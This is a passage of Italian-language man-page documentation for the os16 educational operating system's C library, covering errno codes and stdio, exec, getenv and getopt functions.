`EAGAIN`	Resource unavailable, try again.
`EALREADY`	Connection already in progress.
`EBADF`	Bad file descriptor.
`EBADMSG`	Bad message.
`EBUSY`	Device or resource busy.

Valore di ***errno***	Definizione
`ECANCELED`	Operation canceled.
`ECHILD`	No child processes.
`ECONNABORTED`	Connection aborted.
`ECONNREFUSED`	Connection refused.
`ECONNRESET`	Connection reset.
`EDEADLK`	Resource deadlock would occur.
`EDESTADDRREQ`	Destination address required.
`EDOM`	Mathematics argument out of domain of function.
`EDQUOT`	Reserved.
`EEXIST`	File exists.

Valore di ***errno***	Definizione
`EFAULT`	Bad address.
`EFBIG`	File too large.
`EHOSTUNREACH`	Host is unreachable.
`EIDRM`	Identifier removed.
`EILSEQ`	Illegal byte sequence.
`EINPROGRESS`	Operation in progress.
`EINTR`	Interrupted function.
`EINVAL`	Invalid argument.
`EIO`	I/O error.
`EISCONN`	Socket is connected.

Valore di ***errno***	Definizione
`EISDIR`	Is a directory.
`ELOOP`	Too many levels of symbolic links.
`EMFILE`	Too many open files.
`EMLINK`	Too many links.
`EMSGSIZE`	Message too large.
`EMULTIHOP`	Reserved.
`ENAMETOOLONG`	Filename too long.
`ENETDOWN`	Network is down.
`ENETRESET`	Connection aborted by network.
`ENETUNREACH`	Network unreachable.

Valore di ***errno***	Definizione
`ENFILE`	Too many files open in system.
`ENOBUFS`	No buffer space available.
`ENODATA`	No message is available on the stream head read queue.
`ENODEV`	No such device.
`ENOENT`	No such file or directory.
`ENOEXEC`	Executable file format error.
`ENOLCK`	No locks available.
`ENOLINK`	Reserved.
`ENOMEM`	Not enough space.
`ENOMSG`	No message of the desired type.

Valore di ***errno***	Definizione
`ENOPROTOOPT`	Protocol not available.
`ENOSPC`	No space left on device.
`ENOSR`	No stream resources.
`ENOSTR`	Not a stream.
`ENOSYS`	Function not supported.
`ENOTCONN`	The socket is not connected.
`ENOTDIR`	Not a directory.
`ENOTEMPTY`	Directory not empty.
`ENOTSOCK`	Not a socket.
`ENOTSUP`	Not supported.

Valore di ***errno***	Definizione
`ENOTTY`	Inappropriate I/O control operation.
`ENXIO`	No such device or address.
`EOPNOTSUPP`	Operation not supported on socket.
`EOVERFLOW`	Value too large to be stored in data type.
`EPERM`	Operation not permitted.
`EPIPE`	Broken pipe.
`EPROTO`	Protocol error.
`EPROTONOSUPPORT`	Protocol not supported.
`EPROTOTYPE`	Protocol wrong type for socket.
`ERANGE`	Result too large.

Valore di *errno*	Definizione
EROFS	Read-only file system.
ESPIPE	Invalid seek.
ESRCH	No such process.
ESTALE	Reserved.
ETIME	Stream ioctl() timeout.
ETIMEDOUT	Connection timed out.
ETXTBSY	Text file busy.
EWOULDBLOCK	Operation would block (may be the same as EAGAIN).
EXDEV	Cross-device link.

La tabella successiva raccoglie le definizioni degli errori aggiuntivi, specifici di os16.

Valore di *errno*	Definizione
EUNKNOWN	Unknown error.
E_FILE_TYPE	File type not compatible.
E_ROOT_INODE_NOT_CACHED	The root directory inode is not cached.
E_CANNOT_READ_SUPERBLOCK	Cannot read super block.
E_MAP_INODE_TOO_BIG	Map inode too big.
E_MAP_ZONE_TOO_BIG	Map zone too big.
E_DATA_ZONE_TOO_BIG	Data zone too big.
E_CANNOT_FIND_ROOT_DEVICE	Cannot find root device.
E_CANNOT_FIND_ROOT_INODE	Cannot find root inode.
E_FILE_TYPE_UNSUPPORTED	File type unsupported.
E_ENV_TOO_BIG	Environment too big.
E_LIMIT	Exceeded implementation limits.
E_NOT_MOUNTED	Not mounted.
E_NOT_IMPLEMENTED	Not implemented.

FILE SORGENTI

'`lib/errno.h`' [106.3]

'`lib/errno/errno.c`' [106.3.1]

VEDERE ANCHE

perror(3) [99.77], *strerror(3)* [99.111].

99.19 os16: es(3)

Vedere *cs(3)* [99.12].

99.20 os16: exec(3)

NOME

'**`execl`**', '**`execle`**', '**`execlp`**', '**`execv`**', '**`execvp`**' - esecuzione di un file

SINTASSI

```
#include <unistd.h>
extern char **environ;
int execl  (const char *path, const char *arg, ...);
int execle (const char *path, const char *arg, ...);
int execlp (const char *path, const char *arg, ...);
int execv  (const char *path, char *const argv[]);
int execvp (const char *path, char *const argv[]);
```

DESCRIZIONE

Le funzioni '**`exec`**...**`()`**' rimpiazzano il processo chiamante con un altro processo, ottenuto dal caricamento di un file eseguibile in memoria. Tutte queste funzioni si avvalgono, direttamente o indirettamente di *execve(2)* [98.10].

Il primo argomento delle funzioni descritte qui è il percorso, rappresentato dalla stringa ***path***, di un file da eseguire.

Le funzioni '**`execl`**...**`()`**', dopo il percorso del file eseguibile, richiedono l'indicazione di una quantità variabile di argomenti, a cominciare da ***arg***, costituiti da stringhe, tenendo conto che dopo l'ultimo di questi argomenti, occorre fornire il puntatore nullo, '**`NULL`**', per chiarire che questi sono terminati. L'argomento corrispondente al parametro ***arg*** deve essere una stringa contenente il nome del file da avviare, mentre gli argomenti successivi sono gli argomenti da passare al programma stesso.

Rispetto al gruppo di funzioni '**`execl`**...**`()`**', la funzione ***execle()***, dopo il puntatore nullo che conclude la sequenza di argomenti per il programma da avviare, si attende una sequenza di altre stringhe, anche questa conclusa da un ultimo e definitivo puntatore nullo. Questa ulteriore sequenza di stringhe va a costituire l'ambiente del processo da avviare, pertanto il contenuto di tali stringhe deve essere del tipo '***nome*=*valore***'.

Le funzioni '**`execv`**...**`()`**' hanno come ultimo argomento il puntatore a un array di stringhe, dove ***argv[0]*** deve essere il nome del file da avviare, mentre da ***argv[1]*** in poi, si tratta degli argomenti da passare al programma. Anche in questo caso, per riconoscere l'ultimo elemento di questo array, gli si deve assegnare il puntatore nullo.

Le funzioni ***execlp()*** e ***execvp()***, se ricevono solo il nome del file da eseguire, senza altre indicazioni del percorso, cercano questo file tra i percorsi indicati nella variabile di ambiente ***PATH***, ammesso che sia dichiarata per il processo in corso.

Tutte le funzioni qui descritte, a eccezione di ***execle()***, trasmettono al nuovo processo lo stesso ambiente (le stesse variabili di ambiente) del processo chiamante.

VALORE RESTITUITO

Queste funzioni, se hanno successo nel loro compito, non possono restituire alcunché, dato che in quel momento, il processo chiamante viene rimpiazzato da quello del file che viene eseguito. Pertanto, queste funzioni possono restituire soltanto un valore che rappresenta un errore, ovvero -1, aggiornando anche la variabile ***errno*** di conseguenza.

ERRORI

Valore di ***errno***	Significato
`E2BIG`	Ci sono troppi argomenti.
`ENOMEM`	Memoria insufficiente.
`ENOENT`	Il file richiesto non esiste.
`EACCES`	Il file non può essere avviato per la mancanza dei permessi di acceso necessari.
`ENOEXEC`	Il file non può essere un file eseguibile, perché non ne ha le caratteristiche.
`EIO`	Errore di input-output.

FILE SORGENTI

'`lib/unistd.h`' [106.17]

'`lib/unistd/execl.c`' [106.17.9]

'`lib/unistd/execle.c`' [106.17.10]

'`lib/unistd/execlp.c`' [106.17.11]

'`lib/unistd/execv.c`' [106.17.12]

'`lib/unistd/execvp.c`' [106.17.14]

'`lib/unistd/execve.c`' [106.17.13]

VEDERE ANCHE

execve(2) [98.10], *fork(2)* [98.14], *environ(7)* [102.1].

99.21 os16: execl(3)

Vedere *exec(3)* [99.20].

99.22 os16: execle(3)

Vedere *exec(3)* [99.20].

99.23 os16: execlp(3)

Vedere *exec(3)* [99.20].

99.24 os16: execv(3)

Vedere *exec(3)* [99.20].

99.25 os16: execvp(3)

Vedere *exec(3)* [99.20].

99.26 os16: exit(3)

Vedere *atexit(3)* [99.4].

99.27 os16: fclose(3)

NOME

'**fclose**' - chiusura di un flusso di file

SINTASSI

```
#include <stdio.h>
int fclose (FILE *fp);
```

DESCRIZIONE

La funzione ***fclose()*** chiude il flusso di file specificato tramite il puntatore ***fp***. Questa realizzazione particolare di os16, si limita a richiamare la funzione ***close()***, con l'indicazione del descrittore di file corrispondente al flusso.

VALORE RESTITUITO

Valore	Significato
0	Operazione conclusa con successo.
'**EOF**'	Errore: la variabile ***errno*** viene impostata di conseguenza.

ERRORI

Valore di ***errno***	Significato
EBADF	Il descrittore di file associato al flusso da chiudere, non è valido.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fclose.c`' [106.9.3]

VEDERE ANCHE

close(2) [98.7], *fopen(3)* [99.35], *stdio(3)* [99.103].

99.28 os16: feof(3)

NOME

'**`feof`**' - verifica dello stato dell'indicatore di fine file

SINTASSI

```
#include <stdio.h>
int feof (FILE *fp);
```

DESCRIZIONE

La funzione ***feof()*** restituisce il valore dell'indicatore di fine file, riferito al flusso di file rappresentato da ***fp***.

VALORE RESTITUITO

Valore	Significato
diverso da zero	Significa che l'indicatore di fine file è impostato.
0	Significa che l'indicatore di fine file non è impostato.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/feof.c`' [106.9.4]

VEDERE ANCHE

clearerr(3) [99.9], *ferror(3)* [99.29], *fileno(3)* [99.34], *stdio(3)* [99.103].

99.29 os16: ferror(3)

NOME

'**`ferror`**' - verifica dello stato dell'indicatore di errore

SINTASSI

```
#include <stdio.h>
int ferror (FILE *fp);
```

DESCRIZIONE

La funzione ***ferror()*** restituisce il valore dell'indicatore di errore, riferito al flusso di file rappresentato da ***fp***.

VALORE RESTITUITO

Valore	Significato
diverso da zero	Significa che l'indicatore di errore è impostato.
0	Significa che l'indicatore di errore non è impostato.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/ferror.c`' [106.9.5]

VEDERE ANCHE

clearerr(3) [99.9], *feof(3)* [99.28], *fileno(3)* [99.34], *stdio(3)* [99.103].

99.30 os16: fflush(3)

NOME

'**`fflush`**' - fissaggio dei dati ancora sospesi nella memoria tampone

SINTASSI

```
#include <stdio.h>
int fflush (FILE *fp);
```

DESCRIZIONE

La funzione ***fflush()*** di os16, non fa alcunché, dato che non è prevista alcuna gestione della memoria tampone per i flussi di file.

VALORE RESTITUITO

Valore	Significato
0	Rappresenta il successo dell'operazione.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fflush.c`' [106.9.6]

VEDERE ANCHE

fclose(3) [99.27], *fopen(3)* [99.35].

99.31 os16: fgetc(3)

NOME

'**fgetc**', '**getc**', '**getchar**' - lettura di un carattere da un flusso di file

SINTASSI

```
#include <stdio.h>
int fgetc   (FILE *fp);
int getc    (FILE *fp);
int getchar (void);
```

DESCRIZIONE

Le funzioni ***fgetc()*** e ***getc()*** sono equivalenti e leggono il carattere successivo dal flusso di file rappresentato da ***fp***. La funzione ***getchar()*** esegue la lettura di un carattere, ma dallo standard input.

VALORE RESTITUITO

In caso di successo, il carattere letto viene restituito in forma di intero positivo (il carattere viene inteso inizialmente senza segno, quindi viene trasformato in un intero, il quale rappresenta così un valore positivo). Se la lettura non può avere luogo, la funzione restituisce '**EOF**', corrispondente a un valore negativo.

ERRORI

La variabile ***errno*** potrebbe risultare aggiornata nel caso la funzione restituisca '**EOF**'. Ma per saperlo, occorre azzerare la variabile ***errno*** prima della chiamata di ***fgetc()***.

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso da cui leggere un carattere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso da cui leggere un carattere, non consente un accesso in lettura.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fgetc.c`' [106.9.7]

'`lib/stdio/getchar.c`' [106.9.24]

VEDERE ANCHE

fgets(3) [99.33], *gets(3)* [99.33].

99.32 os16: fgetpos(3)

NOME

'**fgetpos**', '**fsetpos**' - lettura e impostazione della posizione corrente di un flusso di file

SINTASSI

```
#include <stdio.h>
int fgetpos (FILE *restrict fp, fpos_t *restrict pos);
int fsetpos (FILE *restrict fp, fpos_t *restrict pos);
```

DESCRIZIONE

Le funzioni ***fgetpos()*** e ***fsetpos()***, rispettivamente, leggono o impostano la posizione corrente di un flusso di file.

Per os16, il tipo '**fpos_t**' è dichiarato nel file 'stdio.h' come equivalente al tipo '**off_t**' (file 'sys/types.h'); tuttavia, la modifica di una variabile di tipo '**fpos_t**' va fatta utilizzando una funzione apposita, perché lo standard consente che possa trattarsi anche di una variabile strutturata, i cui membri non sono noti.

L'uso della funzione ***fgetpos()*** comporta una modifica dell'informazione contenuta all'interno di ****pos***, mentre la funzione ***fsetpos()*** usa il valore contenuto in ****pos*** per cambiare la posizione corrente del flusso di file. In pratica, si può usare ***fsetpos()*** solo dopo aver salvato una certa posizione con l'aiuto di ***fgetpos()***.

Si comprende che il valore restituito dalle funzioni è solo un indice del successo o meno dell'operazione, dato che l'informazione sulla posizione viene ottenuta dalla modifica di una variabile di cui si fornisce il puntatore negli argomenti.

VALORE RESTITUITO

Valore	Significato
0	Rappresenta il successo dell'operazione.
−1	Indica il verificarsi di un errore, il quale può essere interpretato leggendo la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
EBADF	Il descrittore di file associato al flusso, non è valido.

FILE SORGENTI

'lib/stdio.h' [106.9]

'lib/stdio/fgetpos.c' [106.9.8]

'lib/stdio/fsetpos.c' [106.9.20]

VEDERE ANCHE

fseek(3) [99.43], *ftell(3)* [99.46], *rewind(3)* [99.88].

99.33 os16: fgets(3)

NOME

'**fgets**', '**gets**' - lettura di una stringa da un flusso di file

SINTASSI

```
#include <stdio.h>
char *fgets (char *restrict string, int n, FILE *restrict fp);
char *gets  (char *string);
```

DESCRIZIONE

La funzione ***fgets()*** legge una «riga» dal flusso di file ***fp***, purché non più lunga di ***n***−1 caratteri, collocandola a partire da ciò a cui punta ***stringa***. La lettura termina al raggiungimento del carattere '**\n**' (*new line*), oppure alla fine del file, oppure a ***n***−1 caratteri. In ogni caso, viene aggiunto al termine, il codice nullo di terminazione di stringa: '**\0**'.

La funzione ***gets()***, in modo analogo a ***fgets()***, legge una riga dallo standard input, ma senza poter porre un limite massimo alla lunghezza della lettura.

VALORE RESTITUITO

In caso di successo, viene restituito il puntatore alla stringa contenente la riga letta, ovvero restituiscono ***string***. In caso di errore, o comunque in caso di una lettura nulla, si ottiene '**NULL**'. La variabile ***errno*** viene aggiornata solo se si presenta un errore di accesso al file, mentre una lettura nulla, perché il flusso si è concluso, non comporta tale aggiornamento.

ERRORI

La variabile ***errno*** potrebbe risultare aggiornata nel caso le funzioni restituiscano '**NULL**'. Ma per saperlo, occorre azzerare la variabile ***errno*** prima della chiamata di queste.

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso da cui leggere un carattere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso da cui leggere un carattere, non consente un accesso in lettura.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fgets.c`' [106.9.9]

'`lib/stdio/gets.c`' [106.9.25]

VEDERE ANCHE

fgetc(3) [99.31], *getc(3)* [99.31].

99.34 os16: fileno(3)

NOME

'**fileno**' - traduzione di un flusso di file nel numero di descrittore corrispondente

SINTASSI

```
#include <stdio.h>
int fileno (FILE *fp);
```

DESCRIZIONE

La funzione ***fileno()*** traduce il flusso di file, rappresentato da ***fp***, nel numero del descrittore corrispondente. Tuttavia, il risultato è valido solo se il flusso di file specificato è aperto effettivamente.

VALORE RESTITUITO

Se ***fp*** punta effettivamente a un flusso di file aperto, il valore restituito corrisponde al numero di descrittore del file stesso; diversamente, si potrebbe ottenere un numero privo di senso. Se come argomento si indica il puntatore nullo, si ottiene un errore, rappresentato dal valore -1.

ERRORI

Valore di ***errno***	Significato
`EBADF`	È stato richiesto di risolvere il puntatore nullo.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`lib/stdio/fileno.c`' [106.9.10]

VEDERE ANCHE

clearerr(3) [99.9], *feof(3)* [99.28], *ferror(3)* [99.29], *stdio(3)* [99.103].

99.35 os16: fopen(3)

NOME

'**fopen**', '**freopen**' - apertura di un flusso di file

SINTASSI

```
#include <stdio.h>
FILE *fopen   (const char *path, const char *mode);
FILE *freopen (const char *restrict path, const char *restrict mode,
               FILE *restrict fp);
```

DESCRIZIONE

La funzione ***fopen()*** apre il file indicato nella stringa a cui punta ***path***, secondo le modalità di accesso contenute in ***mode***, associandovi un flusso di file. In modo analogo agisce anche la funzione ***freopen()***, la quale però, prima, chiude il flusso ***fp***.

La modalità di accesso al file si specifica attraverso una stringa, come sintetizzato dalla tabella successiva.

mode	Significato
`"r"` `"rb"`	Si richiede un accesso in lettura, di un file già esistente. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
`"r+"` `"r+b"` `"rb+"`	Si richiede un accesso in lettura e scrittura, di un file già esistente. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
`"w"` `"wb"`	Si richiede un accesso in scrittura, di un file che viene troncato se esiste oppure viene creato. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
`"w+"` `"w+b"` `"wb+"`	Si richiede un accesso in lettura e scrittura, di un file che viene troncato se esiste oppure viene creato. L'indice interno per l'accesso ai dati viene posizionato all'inizio del file.
`"a"` `"ab"`	Si richiede la creazione o il troncamento di un file, con accesso in aggiunta. L'indice interno per l'accesso ai dati viene posizionato alla fine del file, prima di ogni operazione di scrittura.
`"a+"` `"a+b"` `"ab+"`	Si richiede la creazione o il troncamento di un file, con accesso in lettura e scrittura. L'indice interno per l'accesso ai dati viene posizionato alla fine del file, prima di ogni operazione di scrittura.

VALORE RESTITUITO

Se l'operazione si conclude con successo, viene restituito il puntatore a ciò che rappresenta il flusso di file aperto. Se però si ottiene un puntatore nullo ('**`NULL`**'), si è verificato un errore che può essere interpretato dal contenuto della variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	È stato fornito un argomento non valido.
`EPERM`	Operazione non consentita.
`EACCES`	Accesso non consentito.
`ENOENT`	Il file non esiste, oppure non esiste il percorso che porta al file da creare.
`EROFS`	Avendo richiesto un accesso in scrittura, si ottiene che il file system che lo contiene consente soltanto un accesso in lettura.
`ENOTDIR`	Il percorso che porta al file da aprire non è valido, in quanto ciò che dovrebbe essere una directory, non lo è.
`ENFILE`	Non si possono aprire altri file nell'ambito del sistema operativo (il sistema ha raggiunto il limite).
`EMFILE`	Non si possono aprire altri file nell'ambito del processo in corso.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`lib/stdio/fopen.c`' [106.9.11]

'`lib/stdio/freopen.c`' [106.9.16]

VEDERE ANCHE

open(2) [98.28], *fclose(3)* [99.27], *stdio(3)* [99.103].

99.36 os16: fprintf(3)

Vedere *printf(3)* [99.78].

99.37 os16: fputc(3)

NOME

'**`fputc`**', '**`putc`**', '**`putchar`**' - emissione di un carattere attraverso un flusso di file

SINTASSI

```
#include <stdio.h>
int fputc   (int c, FILE *fp);
int putc    (int c, FILE *fp);
int putchar (int c);
```

DESCRIZIONE

Le funzioni ***fputc()*** e ***putc()*** sono equivalenti e scrivono il carattere ***c*** nel flusso di file rappresentato da ***fp***. La funzione ***putchar()*** esegue la scrittura di un carattere, ma nello standard output.

VALORE RESTITUITO

In caso di successo, il carattere scritto viene restituito in forma di intero positivo (il carattere viene inteso inizialmente senza segno, quindi viene trasformato in un intero, il quale rappresenta così un valore positivo). Se la scrittura non può avere luogo, la funzione restituisce '**`EOF`**', corrispondente a un valore negativo.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso presso cui scrivere un carattere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso presso cui scrivere un carattere, non consente un accesso in scrittura.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fputc.c`' [106.9.13]

VEDERE ANCHE

fputs(3) [99.38], *puts(3)* [99.38].

99.38 os16: fputs(3)

NOME

'**`fputs`**', '**`puts`**' - scrittura di una stringa attraverso un flusso di file

SINTASSI

```
#include <stdio.h>
int fputs (const char *restrict string, FILE *restrict fp);
int puts  (const char *string);
```

DESCRIZIONE

La funzione ***fputs()*** scrive una stringa nel flusso di file ***fp***, ma senza il carattere nullo di terminazione; la funzione ***puts()*** scrive una stringa, aggiungendo anche il codice di terminazione '**`\n`**', attraverso lo standard output.

VALORE RESTITUITO

Valore	Significato
≥ 0	Rappresenta il successo dell'operazione.
'**`EOF`**'	Indica il verificarsi di un errore, il quale può essere interpretato eventualmente leggendo la variabile ***errno***.

ERRORI

La variabile ***errno*** potrebbe risultare aggiornata nel caso le funzioni restituiscano '**`NULL`**'. Ma per saperlo, occorre azzerare la variabile ***errno*** prima della chiamata di queste.

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file associato al flusso verso cui si deve scrivere, non è valido.
`EINVAL`	Il descrittore di file associato al flusso verso cui si deve scrivere, non consente un accesso in scrittura.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fputs.c`' [106.9.14]

'`lib/stdio/puts.c`' [106.9.28]

VEDERE ANCHE

fputc(3) [99.37], *putc(3)* [99.37], *putchar(3)* [99.37].

99.39 os16: fread(3)

NOME

'**`fread`**' - lettura di dati da un flusso di file

SINTASSI

```
#include <stdio.h>
size_t fread (void *restrict buffer, size_t size, size_t nmemb,
              FILE *restrict fp);
```

DESCRIZIONE

La funzione ***fread()*** legge ***size***×***nmemb*** byte dal flusso di file ***fp***, trascrivendoli in memoria a partire dall'indirizzo a cui punta ***buffer***.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letta, diviso la dimensione del blocco ***nmemb*** (byte/***nmemb***). Se il valore ottenuto è inferiore a quello richiesto, occorre verificare eventualmente se ciò deriva dalla conclusione del file o da un errore, con l'aiuto di *feof(3)* [99.28] e di *ferror(3)* [99.29].

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fread.c`' [106.9.15]

VEDERE ANCHE

read(2) [98.29], *write(2)* [98.44], *feof(3)* [99.28], *ferror(3)* [99.29], *fwrite(3)* [99.48].

99.40 os16: free(3)

Vedere *malloc(3)* [99.66].

99.41 os16: freopen(3)

Vedere *fopen(3)* [99.35].

99.42 os16: fscanf(3)

Vedere *scanf(3)* [99.90].

99.43 os16: fseek(3)

NOME

'**fseek**', '**fseeko**' - riposizionamento dell'indice di accesso di un flusso di file

SINTASSI

```
#include <stdio.h>
int fseek  (FILE *fp, long int offset, int whence);
int fseeko (FILE *fp, off_t offset, int whence);
```

DESCRIZIONE

Le funzioni ***fseek()*** e ***fseeko()*** cambiano l'indice della posizione interna a un flusso di file, specificato dal parametro ***fp***. L'indice viene collocato secondo lo scostamento rappresentato da ***offset***, rispetto al riferimento costituito dal parametro ***whence***. Il parametro ***whence*** può assumere solo tre valori, come descritto nello schema successivo.

Valore di ***whence***	Significato
`SEEK_SET`	lo scostamento si riferisce all'inizio del file.
`SEEK_CUR`	lo scostamento si riferisce alla posizione che ha già l'indice interno al file.
`SEEK_END`	lo scostamento si riferisce alla fine del file.

La differenza tra le due funzioni sta solo nel tipo del parametro ***offset***, il quale, da '**long int**' passa a '**off_t**'.

VALORE RESTITUITO

Valore	Significato
0	Rappresenta il successo dell'operazione.
-1	Indica il verificarsi di un errore, il quale può essere interpretato leggendo la variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EBADF`	Il descrittore di file associato al flusso, non è valido.
`EINVAL`	Gli argomenti non sono validi, come succede se la combinazione di scostamento e riferimento non è ammissibile (per esempio uno scostamento negativo, quando il riferimento è l'inizio del file).

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`lib/stdio/fseek.c`' [106.9.18]

VEDERE ANCHE

lseek(2) [98.24], *fgetpos(3)* [99.32], *fsetpos(3)* [99.32], *ftell(3)* [99.46], *rewind(3)* [99.88].

99.44 os16: fseeko(3)

Vedere *fseek(3)* [99.43].

99.45 os16: fsetpos(3)

Vedere *fgetpos(3)* [99.32].

99.46 os16: ftell(3)

NOME

'**`ftell`**', '**`ftello`**' - interrogazione dell'indice di accesso relativo a un flusso di file

SINTASSI

```
#include <stdio.h>
long int ftell  (FILE *fp);
off_t    ftello (FILE *fp);
```

DESCRIZIONE

Le funzioni ***ftell()*** e ***ftello()*** restituiscono il valore dell'indice interno di accesso al file specificato in forma di flusso, con il parametro ***fp***. La differenza tra le due funzioni consiste nel tipo restituito, il quale, nel primo caso è '**`long int`**', mentre nel secondo è '**`off_t`**'. L'indice ottenuto è riferito all'inizio del file.

VALORE RESTITUITO

Valore	Significato
≥ 0	Rappresenta l'indice interno al file.
-1	Indica il verificarsi di un errore, il quale può essere interpretato leggendo la variabile ***errno***.

ERRORI

Valore di *errno*	Significato
`EBADF`	Il descrittore di file associato al flusso, non è valido.
`EINVAL`	Il flusso di file specificato non è valido.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`lib/stdio/ftell.c`' [106.9.21]

'`lib/stdio/ftello.c`' [106.9.22]

VEDERE ANCHE

lseek(2) [98.24], *fgetpos(3)* [99.32], *fsetpos(3)* [99.32], *ftell(3)* [99.43], *rewind(3)* [99.88].

99.47 os16: ftello(3)

Vedere *ftell(3)* [99.46].

99.48 os16: fwrite(3)

NOME

'**`fwrite`**' - scrittura attraverso un flusso di file

SINTASSI

```
#include <stdio.h>
size_t fwrite (const void *restrict buffer, size_t size, size_t nmemb,
               FILE *restrict fp);
```

DESCRIZIONE

La funzione ***fwrite()*** scrive ***size***×***nmemb*** byte nel flusso di file ***fp***, traendoli dalla memoria, a partire dall'indirizzo a cui punta ***buffer***.

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritta, diviso la dimensione del blocco rappresentato da ***nmemb*** (byte/***nmemb***). Se il valore ottenuto è inferiore a quello richiesto, si tratta presumibilmente di un errore, ma per accertarsene conviene usare *ferror(3)* [99.29].

FILE SORGENTI

'`lib/stdio.h`' [106.9]

'`lib/stdio/fwrite.c`' [106.9.23]

VEDERE ANCHE

read(2) [98.29], *write(2)* [98.44], *feof(3)* [99.28], *ferror(3)* [99.29], *fread(3)* [99.39].

99.49 os16: getc(3)

Vedere *fgetc(3)* [99.31].

99.50 os16: getchar(3)

Vedere *fgetc(3)* [99.31].

99.51 os16: getenv(3)

NOME

'**getenv**' - lettura del valore di una variabile di ambiente

SINTASSI

```
#include <stdlib.h>
char *getenv (const char *name);
```

DESCRIZIONE

La funzione ***getenv()*** richiede come argomento una stringa contenente il nome di una variabile di ambiente, per poter restituire la stringa che rappresenta il contenuto di tale variabile.

VALORE RESTITUITO

Il puntatore alla stringa con il contenuto della variabile di ambiente richiesta, oppure il puntatore nullo ('**NULL**'), se la variabile in questione non esiste.

FILE SORGENTI

'lib/stdlib.h' [106.10]

'applic/crt0.s' [107.1.9]

'lib/stdlib/environment.c' [106.10.9]

'lib/stdlib/getenv.c' [106.10.11]

VEDERE ANCHE

environ(7) [102.1], *putenv(3)* [99.82], *setenv(3)* [99.94], *unsetenv(3)* [99.94].

99.52 os16: getopt(3)

NOME

'`getopt`' - scansione delle opzioni della riga di comando

SINTASSI

```
#include <unistd.h>
extern *char optarg;
extern int   optind;
extern int   opterr;
extern int   optopt;
int getopt (int argc, char *const argv[], const char *optstring);
```

DESCRIZIONE

La funzione ***getopt()*** riceve, come primi due argomenti, gli stessi parametri ***argc*** e ***argv[]***, che sono già della funzione ***main()*** del programma in cui ***getopt()*** si usa. In altri termini, ***getopt()*** deve conoscere la quantità degli argomenti usati per l'avvio del programma e deve poterli scandire. L'ultimo argomento di ***getopt()*** è una stringa contenente l'elenco delle lettere delle opzioni che ci si attende di trovare nella scansione delle stringhe dell'array ***argv[]***, con altre sigle eventuali per sapere se tali opzioni sono singole o si attendono un proprio argomento.

Per poter usare la funzione ***getopt()*** proficuamente, è necessario che la sintassi di utilizzo del programma del quale si vuole scandire la riga di comando, sia uniforme con l'uso comune:

programma [-***x*** [***argomento***]]... [***argomento***]...

Pertanto, dopo il nome del programma possono esserci delle opzioni, riconoscibili perché composte da una sola lettera, preceduta da un trattino. Tali opzioni potrebbero richiedere un proprio argomento. Dopo le opzioni e i relativi argomenti, ci possono essere altri argomenti, al di fuori della competenza di ***getopt()***. Vale anche la considerazione che più opzioni, prive di argomento, possono essere unite assieme in un'unica parola, con un solo trattino iniziale.

La funzione ***getopt()*** si avvale di variabili pubbliche, di cui occorre conoscere lo scopo.

La variabile ***optind*** viene usata da ***getopt()*** come indice per scandire l'array ***argv[]***. Quando con gli utilizzi successivi di ***optarg()*** si determina che è stata completata la scansione delle opzioni (in quanto ***optarg()*** restituisce il valore −1), la variabile ***optind*** diventa utile per conoscere qual è il prossimo elemento di ***argv[]*** da prendere in considerazione, trattandosi del primo argomento della riga di comando che non è un'opzione.

La variabile ***opterr*** serve per configurare il comportamento di ***getopt()***. Questa variabile contiene inizialmente il valore 1. Quando ***getopt()*** incontra un'opzione per la quale si richiede un argomento, il quale risulta però mancante, se la variabile ***opterr*** risulta avere

un valore diverso da zero, visualizza un messaggio di errore attraverso lo standard error. Pertanto, per evitare tale visualizzazione, è sufficiente assegnare preventivamente il valore zero alla variabile ***opterr***.

Quando un'opzione individuata da ***getopt()*** risulta errata per qualche ragione (perché non prevista o perché si attende un argomento che invece non c'è), la variabile ***optopt*** riceve il valore (tradotto da carattere senza segno a intero) della lettera corrispondente a quell'opzione. Pertanto, in tal modo è possibile conoscere cosa ha provocato il problema.

Il puntatore ***optarg*** viene modificato quando ***getopt()*** incontra un'opzione che chiede un argomento. In tal caso, ***optarg*** viene modificato in modo da puntare alla stringa che rappresenta tale argomento.

La compilazione della stringa corrispondente a ***optstring*** deve avvenire secondo una sintassi precisa:

```
[:] [x[:]]...
```

La stringa ***optstring*** può iniziare con un simbolo di due punti, quindi seguono le lettere che rappresentano le opzioni possibili, tenendo conto che quelle per cui si attende un argomento devono anche essere seguite da due punti. Per esempio, '**`ab:cd:`**' significa che ci può essere un'opzione '**`-a`**', un'opzione '**`-b`**' seguita da un argomento, un'opzione '**`-c`**' e un'opzione '**`-d`**' seguita da un argomento.

